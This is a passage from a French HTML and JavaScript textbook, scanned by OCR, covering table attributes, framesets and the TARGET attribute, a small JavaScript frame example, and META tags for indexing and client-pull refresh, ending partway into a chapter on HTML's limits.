PACING, la valeur de ces attributs est spécifiée en point (ou pixels). Leur spécification
est indiquée sur la figure 32.
Un attribut supplémentaire permet de contraindre le tableau à occuper un certain pour­
centage de la largeur de la fenêtre du browser. Il s'agit de l'attribut WIDTH.

<table border=6 cellspacing=6 cellpadding=10>

<table border>

<table border
width=90%>

146
Les tableaux

<TR>
La balise <TR> débute une ligne du tableau qui sera terminée par </TR>. Elle admet
l'attribut VALIGN, pour obtenir un alignement du texte dans le sens vertical de la cellule,
ALIGN pour l'alignement horizontal. Ces attributs d'alignement s'appliquent pour toutes
les cellules de la ligne, sauf si un attribut de <TD> vient contredire l'alignement.
Les valeurs prises par les attributs d'alignement peuvent être : TOP (haut), BOTTOM
(bas), MIDDLE (centrage vertical), RIGHT (droite), CENTER (centré horizontalement),
LEFT (gauche). Ceci est valable pour l'ensemble des balises.

<tr valign=center align=left><td>1<td>100<td>10000

<TD>
La balise <TD> délimite le début d'une cellule. Elle admet l'attribut VALIGN, pour obte­
nir un alignement du texte dans le sens vertical de la cellule, ALIGN pour l'alignement
horizontal, COLSPAN pour définir une cellule dont la largeur est un multiple de la
colonne de base, et ROWSPAN pour définir une cellule dont la hauteur est un multiple de
la ligne (voir Illustration de l'utilisation de rowspan et colspan, page 148).

<tr align=left><td>l<td align=center>1<td align=right>1

Dans les tableaux, l'ajustement de la taille des cellules est automatique, la largeur d'une
cellule dépend du plus long texte inscrit dans une des cellules de la colonne.
Par défaut, si la ligne est trop longue (> 64 caractères1), le browser la coupe en plusieurs
lignes.
L'attribut NOWRAP de la balise <TD> force le browser à inscrire tout le texte de la cel­
lule sur une seule ligne.

1. Très dépendant du browser.

147
 Programmation HTML et JavaScript

<tr><td align=center><i>Cahier

<tr><td align=center nowrap><i>Cahier.

Illustration de l'utilisation de rowspan et colspan

<tr align=center><td><td><td>A<td>B<td>C
<tr align=center><td rowspan=2 colspan=2>l<td>D<td>E<td>F
<tr align=center><td>G<td>H<td>I

Figure 33 - Les attributs rowspan et colspan

Remarquez que le tableau est construit sur une matrice de 5 par 3, et que l'on obtient des
cases vides en faisant suivre deux balises <td>.

148
Les tableaux

<TH>
La balise <TH> est identique à <TD>, mais le texte des cellules est considéré comme du
texte d'en-tête. Il est automatiquement centré et est mis en caractères gras. Cette balise
admet les mêmes paramètres que la balise <TD> (valign, align, colspan, rowspan,
nowrap).

<tr><th>Article<th>R&eacute;f&eacute;rence<th>Prix
<tr><td align=center><i>Cahier. . . .

<CAPTION>
Cette balise permet de placer un titre au-dessus (attribut ALIGN=TOP) ou au-dessous
(attribut ALIGN=BOTTOM) du tableau.

<caption align=bottom>
<b>Fournitures</b>
</caption>

L'attribut BGCOLOR
Cet attribut, selon qu'il est appliqué à la balise <TABLE>, à la balise <TR> ou à la balise
<TD>, permet de donner une couleur de fond à un tableau, une ligne, ou à une cellule
d'un tableau. La couleur est codée selon le modèle RGB.

149
 Programmation HTML et JavaScript

Exemple de tableau intégrant divers éléments

<html>
<head><title>exemple 1</title></head>
<body>
<table border=3 cellspacing=2 cellpadding=10>
<caption align="bottom">
<b>Tableaux &agrave &eacute;l&eacute;ments multiples</b>
</caption>
<tr align="center">
<td><a href="[Link]
<td><img src= "[Link]"></td>
<td></td>
</tr>
<tr>
<td><img src="[Link]"></td>
<td>
<ul>
<li>un
<li>Deux
<li>trois
</ul>
</td>
<td align="center">
<a href="[Link]">
<img src="[Link]"></a>
</td>
</tr>
<tr>
<td align="center"><i>Entrez<br>votre nom</td>
<td align="left">
<form method="post" action="aucune">
<input name="nom">
<td align="center">
<input type=" submit" value="clic!">
</form>
</td>
</tr>
</table>
</body>
</html>

150
Les tableaux

Figure 34 - Tableau multiélément

151
 Programmation HTML et JavaScript

RÉSUMÉ

Un tableau se définit entre les balises <TABLE> et </TABLE>

A l'intérieur de la première balise, on règle la présentation générale du
tableau à l'aide de trois attributs :
• BORDER définit l'épaisseur du cadre extérieur,
• CELLPADING définit l'espace autour du texte d'une cellule,
• CELLSPACING définit l'espace entre les cellules,
• WIDTH définit la largeur du tableau relativement à la largeur de la
fenêtre du browser.

Le tableau est ensuite décrit ligne par ligne. L'élément définissant une
nouvelle ligne est <TR>, qui admet les attributs d'alignement du texte à
l'intérieur de toutes les cellules de la ligne :
VALIGN (alignement vertical) peut prendre les valeurs suivantes :
• TOP place le texte en haut de la cellule,
• BOTTOM en bas de la cellule,
• MIDDLE au centre de la cellule.
ALIGN (alignement horizontal) peut prendre les valeurs suivantes :
• RIGHT place le texte à droite de la cellule,
• LEFT à gauche de la cellule,
• CENTER centre le texte dans la cellule,
</TR> termine la définition d'une ligne.

<TD> est l'élément de départ d'une colonne. Il peut être complété par
des attributs VALIGN et ALIGN, qui seront alors prioritaires sur les
mêmes valeurs définies dans la balise <TR>.
Deux attributs supplémentaires, COLSPAN et ROWSPAN, permettent
de générer des cellules dont la surface est un multiple de la cellule élé­
mentaire. La matrice du tableau définissant le nombre de cellules élé­
mentaires est calculée par le nombre de lignes du tableau (nombre
d'instructions <TR>), multiplié par le nombre de cellules (nombre d'ins­
tructions <TD>) de la ligne définissant le plus de cellules (plus grand
nombre de <TD>).

Le nombre de cellules par ligne du tableau est calculé sur la ligne défi­
nissant le plus de cellules.

152
Les tableaux

Le dernier attribut de <TD> est NOWRAP, qui empêche de diviser le

texte de la cellule en plusieurs lignes.

Enfin, la balise <TH> est une balise fonctionnant de façon similaire à la

balise <TD> ; elle admet les mêmes attributs, mais est considérée
comme balise de titre d'une cellule. Le centrage du texte et l'utilisation
de caractères gras sont automatiques.

Un tableau peut recevoir un titre défini entre les balises <CAPTION> et

</CAPTION>. Ce titre peut se situer au-dessus (attribut ALIGN avec la
valeur TOP) ou en dessous (ALIGN avec la valeur BOTTOM).

On peut affecter une couleur à un tableau, une ligne ou une colonne à

l'aide de l'attibut BGCOLOR.

153
 Chapitre 15

Les frames

Nous avons vu que, avec HTML, il est possible de créer des tableaux complexes, dont
chaque cellule peut contenir indifféremment du texte, un formulaire, une image... Nous
allons voir que les frames, introduites par Netscape à partir de la version 2.0 de son brow­
ser, et maintenant disponibles sur les principaux browsers du marché, apportent des fonc­
tionnalités voisines des tableaux, encore plus puissantes. Le concept est simple. Comme
avec les tableaux, il consiste à diviser l'écran du browser en plusieurs zones, appelées
frames. Chacune d'elles est capable d'afficher du code HTML, comme c'est le cas dans
les cellules d'un tableau. Il existe cependant une différence majeure. Dans un tableau,
toutes les cellules font partie du même document HTML. Elles sont toutes issues d'un
même fichier ou d'un même script CGI. Dans le cas des frames, chaque zone de l'écran
est un document HTML propre. On voit donc simultanément, sur la même fenêtre d'un
browser, la mise en page correspondant à plusieurs fichiers HTML différents. Un lien
hypertexte peut alors mettre à jour certaines zones du browser sans modifier les autres.
Chaque zone possédant un nom unique, il est simple d'indiquer quelle zone un lien
hypertexte doit modifier.
La notion de frame supprime l'une des limitations du Web. Auparavant, chaque nouveau
document venait écraser le précédent, et obligerait bien souvent l'utilisateur à user et
abuser de la commande précédent des browsers (back en anglais). Désormais, il est pos­
sible de dédier certaines zones du browser à des tâches bien précises. On peut imaginer,
par exemple, une zone qui contienne une barre de menus et qui ne soit presque jamais
rechargée. Ou encore, une autre zone utilisée pour afficher une aide contextuelle, sans
que l'utilisateur perde la page sur laquelle il travaille.

Pour mieux comprendre ce nouveau concept, examinons un exemple. La page proposée

est composée de trois zones (on parlera indifféremment dans ce chapitre de zone ou de
frame). La zone supérieure contient un formulaire de recherche. Celle de gauche affiche

155
 Programmation HTML et JavaScript

les résultats de la recherche. Quant à celle de droite, elle permet d'obtenir plus d'infor­
mations concernant un élément dans la liste des résultats. La soumission du formulaire
de la zone supérieure met à jour la zone de gauche sous forme d'une liste de valeurs dont
chaque élément est un lien hypertexte. Chaque lien hypertexte de la liste des résultats
modifie la zone de droite. Cet écran permet donc de gérer simultanément trois documents
HTML.

Pour donner un premier aperçu de la syntaxe utilisée, voici le code HTML à l'origine de
cet exemple :

<HTML><HEAD><TITLE>Annuaire</title></head>
<FRAMESET ROWS="90,*" >

156
Les frames

<FRAME SRC= "[Link]

MARGINWIDTH=5 MARGINHEIGHT=5>
<FRAMESET COLS="50%,50%" >
<FRAME SRC="[Link]"
NAME= "LISTE" MARGINWIDTH=5 MARGINHEIGHT=5>
<FRAME SRC="[Link]"
NAME="DETAIL" MARGINWIDTH=5 MARGINHEIGHT=5>
</FRAMESET>
<NOFRAMES>
Ce document contient des frames et votre browser est
incapable de les g&eacute;rer...
</NOFRAMES>
</FRAMESET>
</html>

Il est intéressant de noter que ce document ne contient aucune des informations qui vont
être présentées à l'utilisateur. En fait, il ne contient que des informations destinées au
browser. Avec ce document, le browser sait en effet quelles sont les frames qu'il doit
créer et avec quels documents il doit les remplir. Si l'on regarde par exemple la définition
de la zone supérieure, on note qu'elle doit recevoir le code HTML du document
[Link]. Ce document est un document HTML classique, qui contient l'informa­
tion à afficher à l'utilisateur. En voici le détall :

<BODY>
<FORM ACTION="/cgi-bin/wow/SearchPerso" TARGET="LISTE">
<B>Rechercher sur:</B>
<INPUT NAME="c_perso" SIZE="8">
<INPUT TYPE="submit" VALUE="Envoyer">
< /FORM>
</BODY>

On remarque toutefois un nouvel attribut pour la balise <FORM>, l'attribut TARGET,

qui indique tout simplement le nom de la zone dans laquelle sera affiché le résultat de la
soumission du formulaire.

Création de frames
En fait, seules trois nouvelles balises ont été ajoutées au langage HTML afin d'apporter
cette nouvelle fonctionnalité. Cependant, la structure générale d'un document divisé en
plusieurs frames diffère de celle d'un document classique. Dans un document classique,
le corps est inséré dans les balises <BODY>...</BODY>. Dans le cas des frames, le
corps du document est systématiquement inséré dans les balises <FRAMESET>...</
FRAMESET>, et il ne peut être composé qu'à partir des trois nouvelles balises <FRAM-
SET>, <FRAME> et <NOFRAMES>.

157
 Programmation HTML et JavaScript

Document classique contenant l'information à afficher à

l'utilisateur (texte, image, formulaires...)

Document de définition de frames ne contenant aucune

information destinée à l'utilisateur, mais uniquement
des informations destinées au browser (géométrie des
différentes frames et document HTML associé)

<FRAMESET>
<FRAMESET> est la balise d'ouverture permettant de diviser une zone en sous-zones,
soit verticalement, soit horizontalement. Si aucune zone n'est encore définie, les divi­
sions s'appliquent à la zone initiale formée par l'ensemble de la fenêtre du browser. Cette
balise possède les attributs suivants :

ROWS est utilisé pour diviser la zone en sous-zones horizontales. La syntaxe est :
ROWS="hauteur_zone_ 1, hauteur_zone_2,...,hauteur_zone_n"

ROWS est une liste de valeurs entières séparées par des virgules. Le nombre d'éléments
de la liste correspond au nombre de sous-zones horizontales à créer. Chacune des valeurs
de la liste peut être donnée selon l'un des trois formats suivants, dans lesquels n est un
entier :
• n : la valeur de n indique la hauteur de la sous-zone en nombre de pixels ;
• n% : n indique ici la hauteur de la sous-zone exprimée en pourcentage de la taille
de la zone mère ;
• n* : ici, n est optionnel ; le caractère * indique au browser qu'il doit donner à la
sous-zone toute la place encore disponible. Lorsque plusieurs éléments de
la liste utilisent ce format, la place encore disponible est répartie entre les

158
Les frames

sous-zones correspondantes. n pourra alors être utilisé pour indiquer au

browser qu'une sous-zone doit recevoir une proportion n fois supérieure
de la place encore disponible.
COLS est utilisé pour diviser la zone en sous-zones verticales. La syntaxe est en tous
points identique à celle de l'attribut ROWS :
COLS="largeur_zone_ 1, largeur_zone_2,...,largeur__zone_n"

Voici par exemple deux manières identiques de diviser une zone en trois. Les deux sous-
zones supérieures sont de taille identique, égale à la moitié de la zone inférieure :

<FRAMESET ROWS="25%,25%,50%">...</FRAMESET>

ou encore

<FRAMESET ROWS="*,*,2*">...</FRAMESET>

FRAMEBORDER est utilisé pour indiquer si la frontière entre deux frames doit avoir un
effet 3D (un effet d'ombre). La valeur par défaut est "yes", si bien que les bordures de
frames possèdent en général un effet 3D. La syntaxe est :
FRAMEBORDER= "nolyes "

BORDER indique, dans le cas où FRAMEBORDER vaut "no", la largeur de la bordure

entre deux frames. La valeur 0 supprime les bordures de frames. La syntaxe est :
MARGINWIDTH= "n"

BORDERCOLOR indique, dans le cas où FRAMEBORDER vaut "yes", la couleur des

bordures de frames. La syntaxe est :
BORDERCOLOR="couleur"

Insérées entre les balises <FRAMESET>...</FRAMESET>, on ne peut trouver que les

trois balises suivantes :
• <FRAMESET>...</FRAMESET>, qui permet de rediviser une sous-zone ;
• <FRAME...> qui est utilisée pour caractériser une sous-zone ;
• et enfin <NOFRAME>...</NOFRAME>, qui permet d'afficher un texte à la place des
frames si le browser n'est pas capable de les gérer.
Aucune autre balise HTML ne peut être acceptée.

159
 Programmation HTML et JavaScript

<FRAME>
<FRAME> est la balise utilisée pour caractériser les sous-zones définies à l'aide de la
balise <FRAMESET>. Cette caractérisation est réalisée à l'aide de six attributs :

SRC indique l'URL du document qui doit être affiché dans cette zone. Si cet attribut
n'est pas précisé, la zone reste vide. La syntaxe est :
SRC="url"

NAME est utilisé pour nommer la zone afin qu'elle puisse devenir la cible de n'importe
quel lien hypertexte. Les noms prédéfinis, _blank, _top, _parent, _self ainsi que tous les
noms commençant par le caractère ne peuvent pas être utilisés pour renseigner cet
attribut.
La syntaxe de l'attribut NAME est :
NAME="nom_de_la_zone "

MARGINWIDTH est utilisé pour préciser le nombre de pixels entre les frontières gau­
che et droite de la zone et le document HTML à afficher. La syntaxe est :
MARGINWIDTH="n"

MARGINHEIGHT est utilisé pour préciser le nombre de pixels entre les frontières haute
et basse de la zone et le document HTML à afficher. La syntaxe est :
MARGINHEIGHT="n"

160
Les frames

SCROLLING indique si la zone doit posséder une barre de défilement (SCROL-

LING="yes") ou non (SCROLLING="no"), ou encore si ce choix est laissé au browser
(SCROLLING="auto"). La syntaxe est :
SCROLLING="yes|no|auto"

NORESIZE n'a pas de valeur. Sa présence indique uniquement au browser qu'il doit
empêcher toute modification de la taille d'une zone. Lorsque cet attribut n'est pas pré­
cisé, il est toujours possible de déformer une zone en déplaçant sa frontière à l'aide de la
souris.

<NOFRAMES>
<NOFRAMES> est une balise qui indique à tout browser incapable de gérer les frames
le texte qu'il doit présenter à l'utilisateur à la place de la frame. Ce texte est bien sûr
ignoré par un browser capable de gérer les frames. En fait, le fonctionnement de cette
balise est simple. Les browsers Web ne tiennent compte que des balises qu'ils connais­
sent. Un browser qui ne sait pas gérer les frames ignorera donc les balises <FRAME-
SET>, </FRAMESET>, <FRAME> et également <NOFRAMES> et </NOFRAMES>.
Or, si on retire toutes ces balises d'un document contenant des frames, on voit qu'il ne
reste plus que le texte qui était compris entre les balises <NOFRAMES>...</NOFRA-
MES>.
Au contraire, un browser capable de gérer des frames interprétera les balises <NOFRA-
MES>...</NOFRAMES> et saura qu'il doit ignorer le texte compris entre ces balises.

Voici deux exemples illustrant la facilité d'utilisation des frames. On suppose que le
fichier [Link] utilisé pour renseigner l'attribut SRC des balises <FRAME> est un
fichier HTML classique.

161
 Programmation HTML et JavaScript

Figure 35 - Imbrication de balises

Dans ces exemples, nous avons imbriqué plusieurs niveaux de frames. En effet, une pre­
mière balise <FRAMESET> divise la fenêtre du browser, puis une seconde balise
<FRAMESET>, insérée dans la première, divise à nouveau l'une des frames obtenues.
Nous allons voir qu'il est possible d'obtenir le même résultat en utilisant deux fichiers ne
contenant qu'une seule balise <FRAMESET>. On imbrique ainsi les documents plutôt
que les balises.

162
Les frames

Figure 36 - Imbrication de documents

Cette façon de faire peut sembler moins pratique. Elle a cependant un gros avantage. Elle
permet de nommer la frame qui contient les frames "basgauche" et "basdroite", ce qui est
impossible lorsqu'on imbrique les balises <FRAMESET>, dans la mesure où ces balises
ne possèdent pas d'attribut NAME. Dans la pratique, on aura donc souvent avantage à
imbriquer les documents plutôt que les balises <FRAMESET>.

Utilisation des frames

Maintenant que nous avons vu en détail comment créer des documents divisés en frames,
nous allons voir comment créer des liens hypertexte utilisant ces frames.

L'attribut TARGET
En plus des trois nouvelles balises décrites ci-dessus, un nouvel attribut a été créé. Il con­
cerne les balises caractérisant des liens hypertexte, en particulier les balises <A> et
<FORM>. Il s'agit de l'attribut TARGET, qui permet de préciser le nom de la zone qui
doit recevoir le document correspondant au lien. Considérons par exemple le lien hyper­
texte suivant :
<A HREF="/[Link]" TARGET="zonedossier">Voir le dossier</A>

L'attribut TARGET est là pour indiquer au browser qu'en réponse à un clic, il doit affi­
cher le document [Link] dans la frame dont le nom est "zonedossier" (c'est-à-dire
la frame qui a été définie par la balise <FRAME NAME="zonedossier" ...>). De la même
façon, la soumission du formulaire défini par :
<FORM ACTION="/cgi-bin/test" TARGET="zonescript" METHOD="POST">

</FORM>
affichera ses résultats dans la frame dont le nom est "zonescript".

163
 Programmation HTML et JavaScript

On peut isoler trois cas pour décrire les valeurs possibles de l'attribut TARGET.
Dans le premier cas, l'attribut TARGET a une valeur qui correspond au nom d'une frame
existante. Le document associé au lien hypertexte est alors affiché dans la frame en ques­
tion.
Dans le deuxième cas, l'attribut TARGET a une valeur qui ne correspond à aucune des
frames existantes. Le browser crée alors une nouvelle fenêtre (un nouveau browser) et y
affiche le document. Cette nouvelle fenêtre est considérée comme une frame portant le
nom de l'attribut TARGET à l'origine de sa création.
Dans le dernier cas, l'attribut TARGET prend une de ces quatre valeurs prédéfinies :
• _blank, qui est utilisé pour indiquer au browser qu'il doit créer une nouvelle fenêtre
(c'est-à-dire un nouveau browser) afin d'y afficher le document. Le nouveau browser
est une frame qui ne porte pas de nom et ne peut donc pas être la cible d'un autre lien
hypertexte ;
• _self qui indique que le document sera chargé dans la même zone que celle dans
laquelle se trouve le lien hypertexte. Il s'agit de la valeur par défaut lorsque l'attribut
TARGET n'est pas renseigné ;
• _top, qui indique au browser de supprimer toutes les frames existantes et d'afficher le
document de façon classique en occupant toute la surface du browser ;
• _parent, qui indique au browser d'afficher le document en occupant toute la surface
de la zone dans laquelle a été affiché le document contenant le lien. Cette notion n'a
de sens que lorsque les différents niveaux de, frames proviennent de l'imbrication de
documents et non de l'imbrication de balises <FRAMESET>. Dans le cas de la
Figure 36, page 163, un lien situé dans la frame "basdroite" et ayant un attribut TAR-
GET="_parent" provoquera l'affichage du document correspondant dans la frame
"bas". Le document recouvrera donc les deux frames "basdroite" et "basgauche".
Dans ce cas précis, le même résultat aurait été obtenu avec un attribut TAR-
GET="bas".

Afin de bien cerner la signification de ces valeurs prédéfinies (notamment celle de la

valeur _parent, qui peut paraître un peu obscure a priori), voici un court exemple. Pour
le comprendre plus vite, il est conseillé de créer sur votre serveur (ou plus simplement
sur la machine où se trouve votre browser) les quatre fichiers qui composent cet exemple,
puis d'ouvrir le document [Link] avec un browser capable d'afficher des frames
(Netscape 3.0 par exemple).

Voici les quatre fichiers en question.

Le fichier [Link] est un document constitué de deux frames horizontales de même
taille. La frame supérieure affiche le document [Link] et la frame inférieure, le
document [Link] :

<FRAMESET ROWS="*,*">
<FRAME SRC="[Link]">
<FRAME SRC="[Link]">
</FRAMESET>

164
Les trames

Le fichier [Link] possède uniquement un lien hypertexte qui, lorsqu'il est activé,
affiche dans la frame où il se trouve le document [Link]. Ceci a pour résultat de
diviser la frame en deux sous-frames horizontales de taille égale.

<a href="[Link]">Plus bas</a>

Le fichier [Link] est un document constitué de deux zones verticales de même

taille. La frame de gauche affiche le document [Link] et la frame de droite, le
document [Link] :

<FRAMESET COLS="*,*">
<FRAME SRC="[Link]">
<FRAME SRC="[Link]">
</FRAMESET>

Le dernier fichier, [Link], est un peu particulier. Il n'apparaît dans aucun des liens
hypertexte des autres fichiers. Il est utilisé uniquement pour remplir une sous-frame du
document [Link] ou [Link]. Il s'agit en quelque sorte d'un sous-document
du document [Link] ou [Link]. Pour un lien du fichier [Link], l'attri­
but TARGET="_parent" a alors un sens. Il indique au browser d'utiliser la frame du sur­
document (dans notre cas, il s'agira de la frame contenant le document [Link] ou
[Link]) pour afficher le document correspondant au lien. On remplace ainsi le
document [Link] ou [Link] par un autre document. Examinons maintenant
en détail les trois liens du fichier [Link] :
• Le premier, Plus haut, permet de remonter d'un cran dans la hiérarchie des zones. En
effet, il remplace, grâce à l'attribut TARGET="_parent", un document composé de
deux frames ([Link] ou [Link]) par un document classique
([Link]) ;
• Le deuxième, Au sommet, permet d'afficher le document [Link] en occupant
tout l'espace de la fenêtre du browser (TARGET="_top"). On retombe ainsi dans un
affichage classique, sans frame ;
• Le dernier, Tourner, permet de remplacer le document [Link] par le document
[Link] (toujours à l'aide de l'attribut TARGET="_parent"). Les deux docu­
ments ayant le même nombre de frames, la hiérarchie des frames n'est pas modifiée.
Cela ajuste pour effet de transformer la séparation horizontale de la frame en une
séparation verticale.

165
 Programmation HTML et JavaScript

<a href="[Link]" target="_parent">Plus haut</a> (<I>_parent</

I>)<br>
<a href="[Link]" target="_top">Au sommet</a> (<I>_top</I>)<br>
<a href="[Link]" target="_parent">Tourner</a>

Voici quelques enchaînements obtenus à partir de cet exemple. Les flèches indiquent
l'effet d'un clic sur un lien hypertexte. Pour plus de lisibilité, toutes les possibilités
n'apparaissent pas sur le schéma :

166
Les frames

Les frames et JavaScript

La frame dispose des mêmes caractéristiques que l'objet window (voir La classe Win­
dow, page 306).

Exemple : choisir dans quelle frame l'image apparaîtra

L'exemple suivant montre comment, en cliquant sur haut ou sur bas, on change le target
d'un lien (ici une frame). Lorsque l'on effectue ce choix, rien ne se passe dans les
fenêtres ; c'est seulement lorsque l'on clique sur l'image que celle-ci apparaît dans la
zone choisie.

Le fichier [Link] (découpage du browser, fichier appelé)

Le menu est chargé dans la frame de gauche (fr_menu) et des fichiers vides sont chargés
dans les deux autres frames (fr_haut et fr_bas)
<html><head><title>target</title></head>

<!-- si une frame n'est pas chargee avec un fichier, il semble

que le nommage de la frame ne se fasse pas, car elle ne
peut pas etre adressee; en conséquence meme si la frame
doit etre vide a l'origine il est nécessaire de la charger
avec un document vide ([Link]) -->

167
 Programmation HTML et JavaScript

<frameset cols="*,3*">
<frame name="fr_menu" src="[Link]">
<frameset rows="*,*">
<frame name="fr_haut" src=" [Link]">
<frame name="fr_bas" src="[Link]">
</frameset>
</frameset>
</html>

Le fichier [Link] (création du menu, appelé par [Link])

<html>
<head>
<!-- cet exemple montre :
1 - l'adressage des liens d'un document en tableau :
links[0] = haut
links[1] = bas
links[2] = l'image
2 - la possibilité de changer le target d'un lien :
a - si on clique sur "l'image" sans avoir clique
sur haut ou bas 1'image remplace le menu
b - si on clique préalablement sur haut l'image vient
dans la frame du haut a droite
c - si on clique préalablement sur bas 1'image vient
dans la frame du bas a droite
3 - l'adressage des frames

<title>target</title>

<script>
function changeTarget(newTarget) {
[Link][2].target=newTarget;
}
</script></head><body><font size=4>
<i>Ou voulez vous mettre l'image&nbsp; ?</i><p>
En <a href=javascript : changeTarget ('fr_haut')>haut</a> ou
en <a href=javascript:changeTarget ('fr_bas')> Bas</a>
</font><p>

<font size=7>
<a href="[Link]" target="">l'image</a>
</font>

<p><hr>
<a href="[Link]" target="_parent">[recommencer]</a>

</body>

168
Les frames

Le fichier [Link] (appelé lorsque l'on clique sur "l'image")

<html><head><title></title></head>
<body bgcolor=#000000><center><img src=[Link]>
</center></body></html>

Le fichier [Link] (appelé par [Link])

<html><head><title>document vide</title></head>
<body>
<!-- si une frame n'est pas chargee avec un fichier,
il semble que le nommage de la frame ne se
fasse pas, car elle ne peut pas etre adressee -->
</body></html>

169
 Programmation HTML et JavaScript

Le découpage d'une fenêtre en frames est réalisé à l'aide d'un docu­

RÉSUMÉ

ment HTML spécial construit à partir de trois nouvelles balises.

<FRAMESET>...</FRAMESET> va permettre de préciser la géométrie
des différentes frames. Il s'agit en quelque sorte d'une balise de décla­
ration. Elle possède deux attributs :
• ROWS="hauteur1, hauteur2,..., hauteurN" définit la hauteur des diffé­
rentes frames en cas de découpage horizontal ;
• COLS="largeur1, Iargeur2,..., largeurN" définit la largeur des différen­
tes frames en cas de découpage vertical.

<FRAME> est la balise de définition des frames déclarées à l'aide

d'une balise <FRAMESET>. Elle possède six attributs :
• SRC="URL" indique le document à afficher dans la frame ;
• NAME="nom" indique le nom de la frame de telle sorte que cette
frame puisse être utilisée comme cible d'un lien hypertexte ;
• MARGINWIDTH="n" définit l'espace entre le document et les frontiè­
res verticales de la frame ;
• MARGINHEIGHT="n" définit l'espace entre le document et les frontiè­
res horizontales de la frame ;
• SCROLLING="yeslnolauto" indique si la frame doit ou non posséder
une barre de défilement ;
• NORESIZE indique qu'il est impossible à l'utilisateur de redimension-
ner la frame.

<NOFRAMES>...</NOFRAMES> est utilisé pour indiquer le texte que

doivent afficher les browsers incapables de gérer les frames.

Enfin, un nouvel attribut a été créé de façon à pouvoir indiquer dans

quelle frame doit être affiché le document associé à un lien
hypertexte :
• TARGET="nom_de_frame"
Ceci donnera par exemple :
<A HREF="URL" TARGET="nom_de_frame">...</A>
<FORM ACTION="URL" TARGET="nom_de_frame">...</FORM>
<AREA HREF="..."

170
 Chapitre 16

Méta-informations

La balise que nous allons maintenant étudier n'a d'autre but que de fournir des informa­
tions sur le document HTML. Ces informations ne sont pas visibles à l'écran et par
conséquent ne sont pas destinées au lecteur. Ce sont des informations sur le contenu de la
page, prévues pour être processées par des programmes d'analyse automatique des docu­
ments. Par exemple, depuis l'apparition du Web, des robots analysent le réseau Internet
et tentent d'indexer les pages Web afin de créer des répertoires. On utilise ensuite des
moteurs de recherche qui, à partir d'un mot clé, proposent l'URL de tous les documents
contenant ce mot clé. On conçoit aisément qu'une indexation automatique de tout les
mots d'un document conduit à deux difficultés : le volume d'informations à stocker est
très important et la pertinence des résultats de recherche n'est pas optimale.

<META>
Cette balise se place dans le document HTML, dans la zone d'en-tête située entre les
balises <HEAD> et </HEAD>. Si le robot d'indexation trouve des informations suffisan­
tes dans les balises méta, il n'indexera pas tous les mots du document. Les mots clés ne
seront que ceux qui auront été indiqués par l'auteur de la page.
Dans le cas général, le couple d'attributs NAME et CONTENT va permettre d'associer
une valeur à un mot-clé.
<META NAME=mot_clef CONTENT=valeur_attribuee_au_mot_clef>
L'attribut NAME sera remplacé par HTTP-EQUIV si la méta-information requiert une
réponse du serveur.
<META HTTP-EQUIV=mot_clef CONTENT=valeur_attribuee_au_mot_clef>

171
 Programmation HTML et JavaScript

L'attribut NAME
Il permet de spécifier un mot-clé indiquant quelle information donne la balise, on trouve
parmi ces mot-clés :
• AUTHOR, qui permet d'indiquer l'auteur ou les auteurs du document.
• KEYWORDS, qui permet de donner des mots-clés sur le contenu du document.
• DESCRIPTION, qui permet de donner une courte description de la page ou du site.

L'attribut CONTENT
Il permet d'associer une valeur au mot-clé.

Exemples d'utilisation
<META NAME="author" CONTENT="[Link]">
<META NAME="keywords" CONTENT="Nuclear Particules Physics">
<META NAME="description" CONTENT= "High Energy Physics in France">

L'attribut HTPP-EQUIV
Il s'emploie à la place de l'attribut NAME. Il indique au serveur qu'il doit inclure dans la
zone d'en-tête de sa réponse les informations qu'il trouve dans les balises méta.
Ainsi, si l'on a codé une balise de la façon suivante :
<META HTTP-EQUIV="Expires" CONTENT= "Sat, 24 May 1997 23:04:03">
le serveur répondra ainsi l'en-tête du document demandé :
Expires: Sat, 24 May 1997 23:04:03

Le client-pull
A l'aide de la balise <META> et de l'attribut HTTP-EQUIV, auquel on associe le mot-
clé REFRESH, on peut décrire deux utilisations possibles de client-pull.

Premier cas : On se propose de réactualiser, à intervalle régulier, le contenu d'une page.

Cela peut être utile lorsque l'on a une caméra de surveillance qui diffuse une image sur le
Web. Dans l'exemple suivant, le browser charge la page puis, conformément à ce qu'il
trouve dans la balise <META>, il redemande la page toute les vingt secondes.

<html><head><title>Surveillance</title>
<meta http-equiv="refresh" content=20>
</head><body>
<img src="[Link]">
</body></html>

On est en droit de se demander comment l'image [Link] est mise à jour. On peut
imaginer un dispositif selon lequel l'image d'une caméra est acquise par un micro-ordi­
nateur équipé d'une carte d'acquisition vidéo ; cette image est traitée pour être enregis­
trée au format GIF ou JPEG puis transférée sur le serveur.

172
Méta-informations

Second cas : Au bout d'une durée déterminée, on veut changer automatiquement le

document affiché. Cela sert, par exemple, si l'on change l'adresse d'une page ; sur
l'ancienne adresse, on donne l'information concernant ce changement ; au bout de quel­
ques secondes, on affiche la nouvelle page :

<html><head><title>SFP Ancienne Adresse</title>

<!-- au bout de 10 secondes on ira rechercher
automatiquement la nouvelle page-->
<meta http-equiv="refresh"
content="10; URL=[Link]
<body>
Veuillez noter la nouvelle adresse du serveur
de la <a href="[Link]
Soci&eacute;t&eacute; Fran&cedil;aise de Physique :
[Link]
</body></html>

173
La programmation
 Chapitre 17

Les limites d'HTML

Ce chapitre constitue une introduction à la programmation d'applications sur les serveurs

Web. Destiné à mettre en évidence les limites du langage, il montrera comment la pro­
grammation permet de s'en affranchir.
Pour illustrer ce chapitre, nous travaillerons sur un exemple concret emprunté au mode
de présentation des données que l'on trouve sur un micro-ordinateur. Dans le Finder du
Macintosh, il est possible de présenter le contenu d'un répertoire de plusieurs façons. La
figure ci-dessous montre ainsi deux dossiers identiques présentés différemment :

La fenêtre de gauche présente le contenu du répertoire à l'aide d'icônes, tandis que dans
la fenêtre de droite, les différents éléments du dossier sont présentés dans une liste précé­
dée d'une ou deux icônes. La première icône (un petit triangle) est présente chaque fois

177
 Programmation HTML et JavaScript

que l'élément est un répertoire. Si l'on clique sur ce petit triangle, il pivote vers le bas
tandis que le contenu du répertoire est développé légèrement sur la droite pour indiquer
la hiérarchie des répertoires.

Dans la figure ci-dessus, on a cliqué sur le triangle du dossier "Dessins non utilisés" et est
apparu le contenu de ce répertoire. Si l'on clique à nouveau sur ce petit triangle, on
"referme" le répertoire et on revient à la situation précédente.
Est-il possible de concevoir un modèle analogue avec le langage HTML ?
Avant de répondre à cette question, essayons de résoudre l'exercice suivant :

Prenons le menu d'un restaurant comportant trois rubriques :

• Les entrées
• Les viandes
• Les desserts
Chacune de ces rubriques contient les plats de sa catégorie :
